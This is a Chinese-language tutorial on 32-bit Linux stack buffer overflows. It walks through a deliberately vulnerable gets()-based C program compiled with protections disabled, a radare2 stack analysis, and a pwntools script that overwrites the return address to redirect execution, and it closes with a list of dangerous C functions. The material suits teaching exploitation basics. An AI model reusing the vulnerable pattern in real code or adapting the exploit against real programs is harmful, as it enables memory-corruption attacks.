函數條用約定(Linux)
需要注意的是,32 位和 64 位程序有以下簡單的區別
x86
函數參數在函數返回地址的上方
x64
System V AMD64 ABI (Linux、FreeBSD、macOS 等採用) 中前六個整型或指針參數依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果還有更多的參數的話纔會保存在棧上。
內存地址不能大於 0x00007FFFFFFFFFFF,6 個字節長度,否則會拋出異常。
堆棧溢出原理
棧溢出指的是程序向棧中某個變量中寫入的字節數超過了這個變量本身所申請的字節數,因而導致與其相鄰的棧中的變量的值被改變。這種問題是一種特定的緩衝區溢出漏洞,類似的還有堆溢出,bss 段溢出等溢出方式。棧溢出漏洞輕則可以使程序崩潰,重則可以使攻擊者控制程序執行流程。此外,我們也不難發現,發生棧溢出的基本前提是
- 程序必須向棧上寫入數據
- 寫入的數據大小沒有被良好地控制。
基本示例
勢力代碼exit.c如下:
#include<stdio.h>
#include <string.h>
#include<stdlib.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable(){
char s[12];
gets(s);
puts(s);
return;
}
int main(){
vulnerable();
return 0;
}
這個程序的主要目的讀取一個字符串,並將其輸出。我們希望可以控制程序執行 success 函數。
通過gcc進行編譯:
gcc -m32 -ggdb -z execstack -fno-stack-protector -no-pie -o pwnme exit.c
關閉pie、關閉棧保護(Canary),堆棧可執行(NX爲開啓)。通過checksec查看,如圖:
使用radare2進行調試:
首先查看success的地址,如下所示爲0x08048456,由於關閉了pie和ASLR,這個值是固定的。
對pwnme這個程序中進行逆向,查看vulnerable的彙編代碼:
攻擊思路
由於gets 本身是一個危險函數。它從不檢查輸入字符串的長度,而是以回車來判斷輸入是否結束,所以很容易可以導致棧溢出。而本次溢出攻擊基於的就是gets函數。
通過radare2進行調試,在puts函數斷點,輸入’AAAAAAA’,查看函數堆棧情況如下:
通過分析彙編代碼和堆棧數據,可以得出如下所示的棧結構。
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
ebp | old ebp |
+-----------------+
| ... |
+-----------------+
ebp-14| local variables |
Low | |
Address
要執行success函數,我們可以直接將堆棧中返回地址(return address)的值設置爲success的地址,然後,當vulnerable返回的時候,就會跳轉到success函數的地址。
攻擊代碼
##coding=utf8
from pwn import *
## 構造與程序交互的對象
sh = process('./pwnme')
success_addr = 0x08048456
## 構造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## 向程序發送字符串
sh.sendline(payload)
## 將代碼交互轉換爲手工交互
sh.interactive()
運行python代碼,效果如圖所示,我們成功的調用了success函數。
小總結
上面的示例其實也展示了棧溢出中比較重要的幾個步驟。
尋找危險函數
通過尋找危險函數,我們快速確定程序是否可能有棧溢出,以及有的話,棧溢出的位置在哪裏。常見的危險函數如下
輸入 gets,直接讀取一行,忽略'\x00' scanf vscanf 輸出 sprintf 字符串 strcpy,字符串複製,遇到'\x00'停止 strcat,字符串拼接,遇到'\x00'停止 bcopy
確定填充長度
這一部分主要是計算我們所要操作的地址與我們所要覆蓋的地址的距離。常見的操作方法就是打開Radare2,根據其給定的地址計算偏移。一般變量會有以下幾種索引模式
相對於棧基地址的的索引,可以直接通過查看 EBP 相對偏移獲得 相對應棧頂指針的索引,一般需要進行調試,之後還是會轉換到第一種類型。 直接地址索引,就相當於直接給定了地址。
一般來說,我們會有如下的覆蓋需求
覆蓋函數返回地址,這時候就是直接看 EBP 即可。 覆蓋棧上某個變量的內容,這時候就需要更加精細的計算了。 覆蓋 bss 段某個變量的內容。 根據現實執行情況,覆蓋特定的變量或地址的內容。
之所以我們想要覆蓋某個地址,是因爲我們想通過覆蓋地址的方法來直接或者間接地控制程序執行流程。
公衆號
更過安全相關內容,歡迎關注我的公衆號: